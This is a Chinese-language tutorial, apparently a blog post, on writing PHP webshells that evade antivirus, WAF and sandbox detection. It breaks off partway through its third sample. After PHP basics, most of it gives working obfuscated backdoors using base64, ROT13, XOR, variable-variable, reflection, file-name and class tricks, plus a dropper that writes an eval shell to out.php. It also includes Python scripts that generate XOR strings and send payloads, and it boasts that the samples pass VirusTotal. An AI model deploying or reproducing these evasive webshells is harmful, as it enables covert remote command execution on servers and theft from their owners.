webshell总结篇
我们只要做一件事:免杀
一, 什么是webshell
(本篇文章大部分摘自AabyssZG师傅的博客)
Webshell是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为asp、jsp和php。
比如执行系统命令、窃取用户数据、删除web页面、修改主页等,其危害不言而喻。黑客通常利用常见的漏洞,如SQL注入、远程文件包含(RFI)、FTP,甚至使用跨站点脚本攻击(XSS)等方式作为社会工程攻击的一部分,最终达到控制网站服务器的目的。
简而言之就是银行保险库里的经过精心伪装的老鼠洞
二, 一些php基础,毕竟PHP是世界上最好的语言:)
以下分别是.=和+=赋值,数组,数组嵌套,数组嵌套利用,compact()函数(跟py里的字典很像),&与xor运算符,一些常量,php特性,php标记,回调类型函数,字符串处理类函数,命令执行类函数, 文件写入函数,异常处理类函数,数据库连接函数,PHP过滤器
//1.
$c .= $a;
$c .= $b;
echo $c; //cab
//2.
$c += $a;
$c += $b;
echo $c; //cab
//3.
$a = array("kan","ye");
echo $a[0].$a[1]."is god"//kanye is god
//4.
$a = 'b[]=ot&b[]=to'//php中单双引号不同:前者不能解析字符串中的变量,且只能转义单引号和转义字符本身,但凡是在字符处理上优于双引号,只会视做普通字符串。
$wow = array();
parse_str($a, $wow);
print_r($wow);
/*Array (
[b] => Array
(
[0] => ot
[1] => to
)
)*/
//还可以这么用
echo $wow('a')[0].$wow('a')[1]//otto
//5.
$a = 11
$b = 22
$ky = compact("a", "b");//想想这里为什么用双引号
print_r($ky)
//Array ( [a] => 11 [b] => 22 )
//6.
($var & 1)//如果$var是一个奇数,则返回true;如果是偶数,则返回false
3 & 5 == 1//位运算:3是0011,5是0101,与运算得0001
$a = 11
$b = &$a//引用
$a = 22
var_dump($a,$b)//11,11
$b = 33
var_dump($a,$b)//33,33
//跟c的指针还是有区别的
$x xor $y//有且仅有一个真才真
$x && $y//和and一样
$x || $y//至少有一个真才为真
!$x//x不为真,则返回真
//7.
//魔术常量
__FILE__////返回文件的完整路径和文件名
dirname(__FILE__) //返回文件所在当前目录到系统根目录的一个目录结构(即代码所在脚本的路径,不会返回当前的文件名称)
__DIR__ //当前被执行的脚步所在电脑的绝对路径
__LINE__ //当前所示的行数
__NAMESPACE__ //当前所属的命名空间
__CLASS__ //当前所属的类
__METHOD__ //当前所属的方法
//8.
//php特性:PHP中函数名、方法名、类名不区分大小写,常量和变量区分大小写
//9.
<?php ?>
<?php
<? ?>//短标识,当使用他们需要开启 php.ini 文件中的 short_open_tag ,不然会报错
<% %>//同上
<script language="php"></script>
//10.
array_map('system', array('whoami')); //被查杀
array_map($_GET['a'], array('whoami')); //被查杀
array_map('var_dump', array('whoami')); //未被查杀
array_map('system', array($_GET['a'])); //被查杀
array_filter()
array_walk()
array_map()
array_reduce()
array_walk_recursive()
call_user_func_array()
call_user_func()
filter_var()
filter_var_array()
registregister_shutdown_function()
register_tick_function()
forward_static_call_array()
uasort()
uksort()
一些常用的回调函数
- array_map()
函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组
例子:将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新的值的数组:
function myfunction($v)
{
return($v*$v);
}
$a=array(1,2,3,4,5); //array(1,4,9,16,25)
print_r(array_map("myfunction",$a));
- register_shutdown_function()
函数是来注册一个会在PHP中止时执行的函数
因为PHP中止的情况有三种:
- 执行完成
- exit/die导致的中止
- 发生致命错误中止
例子: 后面的after并没有输出,即 exit 或者是 die 方法导致提前中止
function test()
{
echo '这个是中止方法test的输出';
}
register_shutdown_function('test');
echo 'before' . PHP_EOL; //注册
exit();
echo 'after' . PHP_EOL;
- array_walk()
函数对数组中的每个元素应用用户自定义函数
function myfunction($value,$key,$p)
{
echo "$key $p $value<br>";
}
$a=array("a"=>"red","b"=>"green","c"=>"blue");
array_walk($a,"myfunction","has the value");
//The key a has the value red
//The key b has the value green
//The key c has the value blue
- array_filter()
函数用回调函数过滤数组中的元素
该函数把输入数组中的每个键值传给回调函数:如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组(数组键名保持不变)function test_odd($var) { return($var & 1); } $a1=array("a","b",2,3,4); print_r(array_filter($a1,"test_odd")); //Array ( [3] => 3 )即arrayfilter函数会遍历数组a1中的每个元素,并将其传递给test_odd函数进行判断。最后,array_filter函数会返回所有使test_odd函数返回值为true的元素所构成的新数组。
- foreach()
方法用于调用数组的每个元素,并将元素传递给回调函数
foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。$arr = array(1,2,3,4); //用foreach来处理$arr foreach($arr as $k=>$v) { $arr[$k] = 2 * $v; } print_r($arr); /* Array ( [0] => 2 [1] => 4 [2] => 6 [3] => 8 ) */
- isset()
函数用于检测变量是否已设置并且非 NULL
isset 在php中用来判断变量是否声明,该函数返回布尔类型的值,即true/false
isset 只能用于变量,因为传递任何其它参数都将造成解析错误$var = ''; // 结果为 TRUE,所以后边的文本将被打印出来。 if (isset($var)) { echo "变量已设置。" . PHP_EOL; } // 在后边的例子中,我们将使用 var_dump 输出 isset() 的返回值。 // the return value of isset(). $a = "test"; $b = "anothertest"; var_dump(isset($a)); // TRUE var_dump(isset($a, $b)); // TRUE unset ($a); var_dump(isset($a)); // FALSE var_dump(isset($a, $b)); // FALSE $foo = NULL; var_dump(isset($foo)); // FALSE
一些字符串处理类函数
- 自己定义
组成字符串的拼接方式,比如:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } echo confusion(976534); //sysTem(高危函数) //以下字符串处理类的函数做参考 trim() //从字符串的两端删除空白字符和其他预定义字符 ucfirst() //把字符串中的首字符转换为大写 ucwords() //把字符串中每个单词的首字符转换为大写 strtoupper() //把字符串转换为大写 strtolower() //把字符串转换为小写 strtr() //转换字符串中特定的字符 substr_replace() //把字符串的一部分替换为另一个字符串 substr() //返回字符串的一部分 strtok() //把字符串分割为更小的字符串 str_rot13() //对字符串执行 ROT13 编码
- substr()
函数返回字符串的一部分
例子:相当于截取字段固定长度和开头的内容echo substr("D://system//451232.php", -10, 6)."<br>"; //451232 echo substr("AabyssTeam", 0, 6)."<br>"; //Aabyss
- intval()
获取变量的整数值
int intval(var,base) //var指要转换成 integer 的数量值,base指转化所使用的进制
```
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 0x (或 0X) 的前缀,使用 16 进制 (hex);
否则,如果字符串以 0 开始,使用 8 进制(octal);
否则,将使用 10 进制 (decimal)
>成功时返回 var 的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1
```php
echo intval(042); // 34
echo intval(0x1A); // 26
echo intval(42); // 42
echo intval(4.2); // 4
```
><font color="gree">?id=2 || id = 1000,使用逻辑或跳过intval()函数;取反运算符(~)来控制~~1000</font>
4. parse_str()
函数把查询字符串解析到变量中
```php
parse_str("name=Peter&age=43");
echo $name."<br>"; //Peter
echo $age; //43
parse_str("name=Peter&age=43",$myArray);
print_r($myArray); //Array ( [name] => Peter [age] => 43 )
pack()
函数把数据装入一个二进制字符串
简单来说,就是将指定编码的数字转成字符串echo pack("C3",80,72,80); //ASCII编码转换为PHP echo pack("H*",4161627973735465616d); //16进制编码转换为AabyssTeam ``` 其他参数请参考菜鸟教程: https://www.runoob.com/php/func-misc-pack.html ### 命令执行函数 1. eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码 ```php @eval($_POST['111']);
system()
函数的主要功能是在系统权限允许的情况下,执行系统命令(Windows系统和Linux系统均可执行)exec()
函数可以执行系统命令,但它不会直接输出结果,而是将执行的结果保存到数组中exec( 'ls' , $result ); print_r($result); //Array ( [0] => index.php )
shell_exec()
函数可以执行系统命令,但不会直接输出执行的结果,而是返回一个字符串类型的变量来存储系统命令的执行结果echo shell_exec('ls'); //index.php
passthru()
函数可以执行系统命令并将执行结果输出到页面中
与 system() 函数不同的是,它支持二进制的数据,使用时直接在参数中传递字符串类型的系统命令即可passthru('ls'); //index.php
popen()
popen() 函数可以执行系统命令,但不会输出执行的结果,而是返回一个资源类型的变量用来存储系统命令的执行结果
故需要配合 fread() 函数来读取命令的执行结果$result = popen('ls', 'r'); //参数1:执行ls命令 参数2:字符串类型 echo fread($result, 100); //参数1:上面生成的资源 参数2:读取100个字节
反引号``
反引号可以执行系统命令但不会输出结果,而是返回一个字符串类型的变量用来存储系统命令的执行结果可单独使用,也可配合其他命令执行函数使用来绕过参数中的滤条件echo `ls`; //index.php <?=`$_GET[1]`;//短webshell
文件写入类函数
- fwrite()
函数是用于写入文件,如果成功执行,则返回写入的字节数;失败,则返回 FALSE
例子:将 Hello World. Testing! 写入 test.txt$file = fopen("test.txt","w"); echo fwrite($file,"Hello World. Testing!"); //21 fclose($file);
- file_put_contents()
函数把一个字符串写入文件中
如果文件不存在,将创建一个文件
$file = 'sites.txt';
$site = "\nGoogle";
file_put_contents($file, $site, FILE_APPEND);//使用 FILE_APPEND 标记,可以在文件末尾追加内容
```
同时该函数可以配合解密函数写入文件,比如:
```php
$datatest = "[文件的base64编码]";
file_put_contents('./要写入的文件名', base64_decode($datatest));
异常处理类函数
- Exception 类
是php所有异常的基类,这个类包含如下方法:__construct //异常构造函数 getMessage //获取异常消息内容 getPrevious //返回异常链中的前一个异常,如果不存在则返回null值 getCode //获取异常代码 getFile //获取发生异常的程序文件名称 getLine //获取发生异常的代码在文件中的行号 getTrace //获取异常追踪信息,其返回值是一个数组 getTraceAsString //获取字符串类型的异常追踪信息 // 创建一个有异常处理的函数 function checkNum($number) { if($number>1) { throw new Exception("变量值必须小于等于 1"); } return true; } // 在 try 块 触发异常 try { checkNum(2); // 如果抛出异常,以下文本不会输出 echo '如果输出该内容,说明 $number 变量'; } // 捕获异常 catch(Exception $e) { echo 'Message: ' .$e->getMessage() . "<br>" ; echo "错误信息:" . $e->getMessage() . "<br>"; echo "错误码:" . $e->getCode() . "<br>"; echo "错误文件:" . $e->getFile() . "<br>"; echo "错误行数:" . $e->getLine() . "<br>"; echo "前一个异常:" . $e->getPrevious() . "<br>"; echo "异常追踪信息:"; echo "" . print_r($e->getTrace(), true) . "<br>"; echo "报错内容输出完毕"; } /*Message: 变量值必须小于等于 1 错误信息:变量值必须小于等于 1 错误码:0 错误文件:D:\phpstudy_pro\WWW\AabyssZG\error.php 错误行数:7 前一个异常: 异常追踪信息:Array ( [0] => Array ( [file] => D:\phpstudy_pro\WWW\AabyssZG\error.php [line] => 14 [function] => checkNum [args] => Array ( [0] => 2 ) ) ) 报错内容输出完毕 ...
数据库连接函数
- Sqlite数据库
配合我上面写的 file_put_contents() 文件写入函数,先写入本地Sqlite文件然后读取敏感内容$path = "111ZG.db"; $db = new PDO("sqlite:" . $path); //连接数据库后查询敏感关键词 $sql_stmt = $db->prepare('select * from test where name="system"'); $sql_stmt->execute(); //提权敏感关键词并进行拼接 $f = substr($sql_stmt->queryString, -7, 6); $f($_GET['111']); //system($_GET['111']);
- MySQL数据库
这里使用 MySQLi() 这个函数,其实PHP有很多MySQL连接函数,可自行尝试
然后通过这个函数,连接公网数据库(只要目标能出网),即可连接并获得敏感字符拼接到php中function coon($sql) { $mysqli = new MySQLi("localhost", "test", "test123", "test"); //默认的 MySQL的类,其属性与方法见手册 if ($mysqli - > connect_error) { //connect_error为属性,报错 die("数据库连接失败:".$mysqli - > connect_errno. "--".$mysqli - > connect_error); // connect_errno:错误编号 } $mysqli - > select_db("test"); //选择数据库 // 返回值 $res 为资源类型(获取到结果的资源类型) $res = $mysqli - > query($sql) or die($mysqli - > error); //释放结果集,关闭连接 $mysqli - > close(); } $sql = "select * from test where name LIKE 'system'"; $arr = coon($sql); $res = array("data" => $arr); echo json_encode($res);
php过滤器
免杀测试
牧云Webshell检测引擎:
微步在线云沙箱:
河马WebShell在线查杀:
百度WEBDIR+在线查杀
大名鼎鼎的VirusTotal:
渊龙Sec团队导航(上面啥都有): https://dh.aabyss.cn/
长亭牧云查杀: https://stack.chaitin.com/security-challenge/webshell/index
阿里云恶意文件检测平台:https://ti.aliyun.com/#/webshell
阿里伏魔引擎: https://xz.aliyun.com/zues
VirusTotal: https://www.virustotal.com/gui/home/upload
微步在线云沙箱: https://s.threatbook.com/
河马WebShell查杀: https://n.shellpub.com/
百度WEBDIR+: https://scanner.baidu.com/
D盾: http://www.d99net.net/
网站安全狗: http://free.safedog.cn/website_safedog.html
免杀思路
1 分析统计内容(传统):可以结合字符黑名单和函数黑名单或者其他特征列表(例如代码片段的Hash特征表),之后通过对文件信息熵、元字符、特殊字符串频率等统计方式发现WebShell。
2 语义分析(AST):把代码转换成AST语法树,之后可以对一些函数进行调试追踪,那些混淆或者变形过的webshell基本都能被检测到。但是对于PHP这种动态特性很多的语言,检测就比较吃力,AST是无法了解语义的。
3 机器学习(AI):这种方法需要大量的样本数据,通过一些AI自动学习模型,总结归类Webshell的特征库,最终去检测Webshell。
4 动态监控(沙箱):采用RASP方式,一旦检测到有对应脚本运行,就去监控(Hook)里边一些危险函数,一但存在调用过程将会立刻阻止。这种阻止效果是实时的,这种方法应该是效果最好的,但是成本十分高昂。
最激动人心的部分,bypass
编码绕过(推荐嵌套)
base64
<?php $f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数 $f($_POST[aabyss]); //assert($_POST[aabyss]); ?>
ASCII码
<?php //ASCII编码解密后为assert高危函数 $f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6); $f($_POST['aabyss']); //assert($_POST['aabyss']); ?>
ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数 $f($_POST['aabyss']); //system($_POST['aabyss']);
Gzip压缩加密
/*Protected by AabyssZG*/
eval(gzinflate(base64_decode('40pNzshXKMgoyMxLy9fQtFawtwMA')));
//phpinfo()
//例子
if (!function_exists('getEncryption')) {
/**
* 基于base64的数据加密
* @param $data
* @return string
*/
function getEncryption($data){
return base64_encode(gzcompress(serialize($data)));
}
}
if (!function_exists('unEncryption')) {
/**
* 解密
* @param $str
* @return mixed
*/
function unEncryption($str){
return unserialize(gzuncompress(base64_decode($str)));
}
}
字符串混淆处理绕过
自定义函数混淆字符串
通过对上面所说两部分敏感内容的拼接、混淆以及变换,来绕过WAF的检测逻辑,如下:function confusion($a){ $s = ['A','a','b', 'y', 's', 's', 'T', 'e', 'a', 'm']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(976534); //sysTem(高危函数) $f($_POST['aabyss']); //sysTem($_POST['aabyss']);
自定义函数+文件名混淆
同,可以配合文件名玩出一些花活,我们建一个PHP名字为 976534.php:function confusion($a){ $s = ['a','t','s', 'y', 'm', 'e', '/']; $tmp = ""; while ($a>10) { $tmp .= $s[$a%10]; $a = $a/10; } return $tmp.$s[$a]; } $f = confusion(intval(substr(__FILE__, -10, 6))); //sysTem(高危函数) //__FILE__为976534.php //substr(__FILE__, -10, 6)即从文件名中提取出976534 //confusion(intval(976534))即输出了sysTem(高危函数),拼接即可 $f($_POST['aabyss']); //sysTem($_POST['aabyss']); ``` 首先先读取文件名,从 976534.php 文件名中提取出 976534 ,然后带入函数中就成功返还 sysTem 高危函数了,可以配合其他姿势一起使用,达成免杀效果 3. 特殊字符串 主要是通过一些特殊的字符串,来干扰到杀软的正则判断并执行恶意代码(各种回车、换行、null和空白字符等) ```php $f = 'hello'; $$z = $_POST['aabyss']; eval(``.$hello);
生成新文件绕过
原理也很简单,该PHP本身没法执行命令,但是运行后可以在同目录混淆写入一个WebShell,也是可以进行免杀的:
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[AABYSS])?>" > ./out.php',"qrwxyK","al(_PO");
//$gogogo = 'echo "<?php eval(_POST[AABYSS])?>" > ./out.php'
$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中
```
现在看这个是不是很简单,但是这个可是VirusTotal全绿、微步沙箱和百度沙箱都过的哦~
没想到吧~ 其实在这个简单的基础上还可以拓展出来进行高阶免杀操作
### 回调函数绕过
1. call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数。
>说明:mixed call_user_func_array ( callable $callback , array $param_arr )
>把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
返回回调函数的结果。如果出错的话就返回FALSE
```php
//ASCII编码解密后为assert高危函数
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
call_user_func_array($f, array($_POST['aabyss']));
//(1)普通使用:
function a($b, $c) {
echo $b;
echo $c;
}
call_user_func_array('a', array("111", "222"));
//输出 111 222
//(2)调用类内部的方法:
Class ClassA {
function bc($b, $c) {
$bc = $b + $c;
echo $bc;
}
}
call_user_func_array(array('ClassA','bc'), array("111", "222"));
//输出 333
//(3)支持引用传递:
function a(&$b) {
$b++;
}
$c = 1;
call_user_func_array('a', array(&$c));
echo $c; //输出 2
//注意:call_user_func_array 与 call_user_func 这两个函数基本上是类似的,只是在调用上传递参数时存在一些差异。
函数call_user_func_array 传递的第二个参数必须是数组;
函数call_user_func 传递的第二个参数可能是数组,如果是多个参数的话,还是需要以列表的形式列出。
call_user_func ( callback $function [,mixed $parameter [, mixed $...]] )
- array_map()
回顾一下array_map()函数吧,简单来说就是将数组里每个值进行自定义操作,再把新的数组返回
function fun() {
//ASCII编码解密后为assert高危函数
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
return ''.$f;
}
$user = fun(); //拿到assert高危函数
$pass =array($_POST['aabyss']);
array_map($user,$user = $pass );
可变变量绕过
简单例子
$f = 'hello'; //变量名为f,变量值为Hello $$f = 'AabyssZG'; //变量名为Hello(也就是$f的值),值为AabyssZG echo $hello; //输出AabyssZG //利用 $f ='hello'; $$f = $_POST['aabyss']; eval($hello); //eval($_POST['aabyss']);
数组+变量引用混淆
上文提到,可以通过 compact 创建一个包含变量名和它们的值的数组
那就可以用 compact 创建一个包含恶意函数和内容的数组,再引用出来拼接成语句即可
$z = "system"; //配合其他姿势,将system高危函数传给z
$zhixin = &$z;
$event = 'hahaha';
$result = compact("event", "zhixin"); //通过compact创建数组
$z = 'wahaha'; //我将变量z进行修改为'wahaha'
$f = $result['zhixin'];
$f($_POST['aabyss']); //system($_POST['aabyss']);
根据学到的内容,可以发现传入数组,函数内容被替换是不会影响数组中的内容的
于是先用变量 zhixin 来引用变量 z 然后通过 compact 创建为数组,接下来再将变量 z 附上新的内容 wahaha ,传统的WAF追踪变量的内容时候,就会让查杀引擎误以为数组中的值不是 system 而是 wahaha ,从而达到WebShell免杀
数组绕过
先将高危函数部分存储在数组中,等到时机成熟后提取出来进行拼接
一维数组
$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($array = array('a'=>$f($_GET['aabyss']))); var_dump($z); //Array ( [0] => Array ( [a] => assert($_GET['aabyss']) ) )
二维数组
$f = substr_replace("systxx","em",4); //system(高危函数) $z = array($arrayName = ($arrayName = ($arrayName = array('a' => $f($_POST['aabyss']))))); var_dump($z);
类绕过 (跟反序列化联动,各种魔术方法)
通过自定义类或者使用已知的类,将恶意代码放入对应的类中进行执行
- 单类
class Test { public $_1=''; function __destruct(){ system("$this->a"); } } $_2 = new Test; $_2->$_1 = $_POST['aabyss']; ``` 2. 多类 ```php class Test1 { public $b =''; function post(){ return $_POST['aabyss']; } } class Test2 extends Test1 { public $code = null; function __construct(){ $code = parent::post(); system($code); } } $fff = new Test2; $zzz = new Test1;
嵌套运算绕过
主要通过各种嵌套、异或以及运算来拼装出来想要的函数,再利用PHP允许动态函数执行的特点,拼接处高危函数名,如 system ,然后动态执行恶意代码之即可
- 异或
^ 为异或运算符,在PHP中两个变量进行异或时,会将字符串转换成二进制再进行异或运算,运算完再将结果从二进制转换成了字符串
这里的话,可以参考国光大佬的Python脚本生成异或结果,然后来替换即可:python3 xxx.py > results.txt$f = ('.'^']').('$'^']').('.'^']').('4'^'@').('8'^']').(']'^'0'); //system高危函数 $f($_POST['aabyss']);
import string from urllib.parse import quote keys = list(range(65)) + list(range(91,97)) + list(range(123,127)) results = [] for i in keys: for j in keys: asscii_number = i^j if (asscii_number >= 65 and asscii_number <= 90) or (asscii_number >= 97 and asscii_number <= 122): if i < 32 and j < 32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i < 32 and j >=32: temp = (f'{chr(asscii_number)} = ascii:{i} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) elif i >= 32 and j < 32: temp = (f'{chr(asscii_number)} = {chr(i)} ^ ascii{j} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) else: temp = (f'{chr(asscii_number)} = {chr(i)} ^ {chr(j)} = {quote(chr(i))} ^ {quote(chr(j))}', chr(asscii_number)) results.append(temp) results.sort(key=lambda x:x[1], reverse=False) for low_case in string.ascii_lowercase: for result in results: if low_case in result: print(result[0]) for upper_case in string.ascii_uppercase: for result in results: if upper_case in result: print(result[0])
- 嵌套运算
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iU0VCb1d4VGJ2SGhRTnFqeW5JUk1jbWxBS1lrWnVmVkpVQ2llYUxkc3J0Z3dGWER6cEdPUFdMY3NrZXpxUnJBVUtCU2hQREdZTUZOT25FYmp0d1pwYVZRZEh5Z0NJdnhUSmZYdW9pbWw3N3QvbFg5VEhyT0tWRlpTSGk4eE1pQVRIazVGcWh4b21UMG5sdTQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); //phpinfo //NSS 有一题类似的,微盾解密
传参绕过
- Base64传参
$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b']; $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs)); $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]); // //a=c3lzdGVt //system的base64加密 //b=d2hvYW1p //whoami的base64加密 ``` 2. 函数构造传参 可以用一些定义函数的函数来进行传参绕过,比如使用 register_tick_function() 这个函数 ```php register_tick_function ( callable $function [, mixed $... ] ) : bool $f = $_REQUEST['f']; declare(ticks=1); register_tick_function ($f, $_REQUEST['aabyss']); ``` ### 自定义函数绕过 读取已定义函数 获取某个类的全部已定义的常量,不管可见性如何定义 >public ReflectionClass::getConstants(void) : array ```php class Test { const a = 'Sy'; const b = 'st'; const c = 'em'; public function __construct(){ } } $para1; $para2; $reflector = new ReflectionClass('Test'); for ($i=97; $i <= 99; $i++) { $para1 = $reflector->getConstant(chr($i)); $para2.=$para1; } foreach (array('_POST','_GET') as $_request) { foreach ($$_request as $_key=>$_value) { $$_key= $_value; } } $para2($_value);
读取字符串绕过
重点还是放在高危函数上,通过读取各种东西来获得对应字符串
//读取注释
ReflectionClass::getDocComment//这里用到读取注释的函数
/**
* system($_GET[aabyss]);
*/
class User { }
$user = new ReflectionClass('User');
$comment = $user->getDocComment();
$f = substr($comment , 14 , 22);
eval($f);
//读取数据库
//可以通过 file_put_contents 文件写入函数入一个Sqlite的数据库
$datatest = "[文件的base64编码]";
file_put_contents('./要写入的文件名', base64_decode($datatest));
//然后通过PHP读取数据库内容提取高危函数,从而达到WebShell免杀效果
$path = "数据库文件名"
$db = new PDO("sqlite:" . $path);
$sql_stmt = $db->prepare('select * from test where name="system"');
$sql_stmt->execute();
$f = substr($sql_stmt->queryString, -7, 6);
$f($_GET['b']);
//读取目录
//FilesystemIterator 是一个迭代器,可以获取到目标目录下的所有文件信息
public FilesystemIterator::next ( void ) : void
//可以尝试使用 file_put_contents 写入一个名为 system.kanye 的空文件,然后遍历目录拿到字符串 system ,成功ByPass
$fi = new FilesystemIterator(dirname(__FILE__));
$f = '';
foreach($fi as $i){
if (substr($i->__toString(), -6,5)=='kanye') //判断后缀名为.aabyss的文件(其他特殊后缀也行)
$f = substr($i->__toString(), -13,6); //从system.kanye提取出system高危函数
}
$f($_GET['b']);
//为什么要写入为 system.kanye 这个文件名呢,因为特殊后缀能让代码快速锁定文件,不至于提取文件名提取到其他文件了
多姿势配合免杀 (样例)
重在思路
这个样例使用了异或+变换参数的手法,成功规避了正则匹配式,具有实战意义<?=~$_='$<>/'^'{{{{';@${$_}[_](@${$_}[__]);
这时候,就可以执行GET传参:?_=system&__=whoami 来执行whoami命令
拆开看看 (异或)<?=~$_='$<>/'^'{{{{'; //即 '$<>/' ^ '{{{{' //即 "$<>/" 这部分字符串与后面 "{{{{" 这部分字符串异或 //_GET //所以整个PHP语句解密后,再将 _ 替换为 a,将 __ 替换为 b,则原PHP转化为: $_GET['a']($_GET['b']) //当我们给 a 传 system,给 b 传 whoami,原式就会变成这样 system('whoami'); //assert的(php5) <?=~$_='$<>/'^'{{{{';$___='$+4(/' ^ '{{{{{';@${$_}[_](@${$___}[__]);
这个样例使用了字符串截取+编解码转换+参数回调的手法,成功规避了正则匹配式,具有实战意义
<?php
phpinfo();
class Car{
function encode(){
$num1=base64_encode($_POST['num']);
$num=base64_decode($num1);
echo "1";
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
@$post=base64_encode($_POST['Qxi*37yz']);
@$post1=base64_decode(@$post);
return $post1;
}
function Xt(){
return eval($this->encode());
}
}
$t=new Car;
$t->Xt();
?>
//这时候,就可以执行POST传参:num=2&Qxi*37yz=6173797374656d282777686f616d6927293b62 来执行whoami命令
//拆开分析:
//encode()和Xt()
function encode(){
$num1=base64_encode($_POST['num']);
$num=base64_decode($num1);
echo "1";
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
@$post=base64_encode($_POST['Qxi*37yz']);
@$post1=base64_decode(@$post);
return $post1;
}
//重点在
foreach($_POST as $k => $v){
$_POST[$k] = pack("H*",(substr($v,$num,-$num)));
}
//解析:
//substr() 函数将传进去的 Qxi*37yz 参数字符串,删掉前 num 个字符和后 num 个字符(截取中间部分的内容)
//pack("H*",...) 函数将处理后的 Qxi*37yz 参数字符串进行十六进制编码转换
//foreach() 将原本的 $_POST 变量替换为经过十六进制编码转换后的字符串
//再来看看Xt()
function Xt(){
return eval($this->encode());
}
//它将 encode() 函数的执行结果带入到 eval() 高危函数当中,即:
function Xt(){
return eval($post1); //encode()函数的输出为$post1
}
//注意:传system('whoami');要在前后分别加a,b
//因为substr() 函数啊,会删掉前 num 个字符和后 num 个字符(截取中间部分的内容)
刚开始传入参数:num=2,Qxi*37yz=6173797374656d282777686f616d6927293b62
第一步:先根据 substr(),从num=2开始截取到倒数第2位,于是 Qxi*37yz 便等于 73797374656d282777686f616d6927293b
第二步:再根据 pack("H*",...),将 Qxi*37yz=73797374656d282777686f616d6927293b 从16进制转为字符串即 system('whoami');
第三步:最后根据 foreach(),将内容返还给原本的值,使得 encode() 函数的输出变量 $post1 为 system('whoami');
第四步:再在 Xt() 函数当中,用 eval() 高危函数执行php语句 system('whoami');,便成功执行系统命令 whoami
微信的 @Elvery 师傅还写了一个直接生成Payload一键传参的Python脚本,师傅们可以参考一下:
import requests
import base64
# 指定num参数和要执行的PHP代码
num = 5
php_code = 'echo "Hello, world!";'
# 把PHP代码转换为十六进制字符串
hex_code = php_code.encode().hex()
# 在字符串的开头和结尾加上num个任意字符
encoded_code = 'a'*num + hex_code + 'a'*num
# 发送POST请求
response = requests.post('http://your-target-url/path-to-php-file.php', data={
'num': num,
'Qxi*37yz': encoded_code,
})
# 打印服务器的响应
print(response.text)
- 样例三
这个样例使用了异或+编解码转换+参数加解密回调+密钥协商的手法,成功规避了语义分析和正则匹配式,具有实战意义
这个WebShell和冰蝎马等具有相似性,各位师傅不妨可以看看原理:
<?php
session_start();
function set_token($v,$t) {
$r="";
for ($x=0; $x<strlen($v);$x++) {
if(($x+1)%strlen($t)!=0) {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),($x+1) % strlen($t))));
} else {
$r.=chr(ord(substr($v,$x,$x+1))^ord(substr($t,$x%strlen($t),16)));
}
}
return $r;
}
if (isset($_SERVER["HTTP_TOKEN"])) {
$t=substr(md5(rand()),16);
$_SESSION['token']=$t;
header('Token:'.$_SESSION['token']);
} else {
if(!isset($_SESSION['token'])) {
return;
}
$v=$_SERVER['HTTP_X_CSRF_TOKEN'];
$b='DQHNGW'^'&0;+qc';
$b.= '_dec'.chr(111).'de';
$v=$b($v."");
class E {
public function __construct($p) {
